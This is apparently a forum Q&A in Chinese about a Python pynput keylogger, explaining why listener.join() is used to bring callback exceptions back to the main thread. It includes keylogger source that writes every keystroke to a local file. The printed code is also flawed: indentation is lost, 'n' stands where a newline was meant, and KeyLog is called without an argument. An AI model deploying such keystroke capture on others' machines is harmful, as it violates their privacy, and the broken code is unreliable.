这是一个键盘记录器,在KeyInput函数中有listener.join()
,但这是为了什么?
from pynput import keyboard
def KeyInput():
with keyboard.Listener(on_press=KeyLog) as listener:
# whenever there is a press on a key on the keyboard, it's directed to KeyLog
listener.join()
def KeyLog(key):
if type(key) == keyboard._win32.KeyCode:
K = key.char
# normal characters like letters
else:
if 'cmd' in str(key):
K = str(key).replace('cmd', 'Windows')
else:
K = ' '+str(key)+' '
# keys like ctrl, caps lock, windows, etc
with open('keylogs.txt', 'a') as File:
File.write(K+'n')
File.close()
KeyInput()
KeyLog()
pynput的文档说:
如果回调处理程序引发异常,则侦听器将停止。由于回调在专用线程中运行,因此不会自动修正异常。
要获得回调错误的通知,请在侦听器实例上调用
Thread.join
。
"回调错误"是什么意思?
"callback">是指将KeyLog
函数作为on_press
参数传递给keyboard.Listener
。
监听器是一个单独的线程,当有按键事件时调用KeyLog
。
如果KeyLog
引发异常(例如,如果"keylogs.txt"文件无法打开),这是一个回调错误">;回调函数出错。但是它发生在侦听器线程中,主线程(调用KeyInput
的地方)不可能处理异常(例如,向用户显示一条文件无法打开的消息)。
为了能够在主线程中处理异常,它必须从侦听器线程传播。这就是listener.join
所做的(这是Thread
类的join
方法,因为Listener
是一个子类):
如果在KeyLog
函数中有一个异常,它将被listener.join()
再次引发,以便在主线程中处理。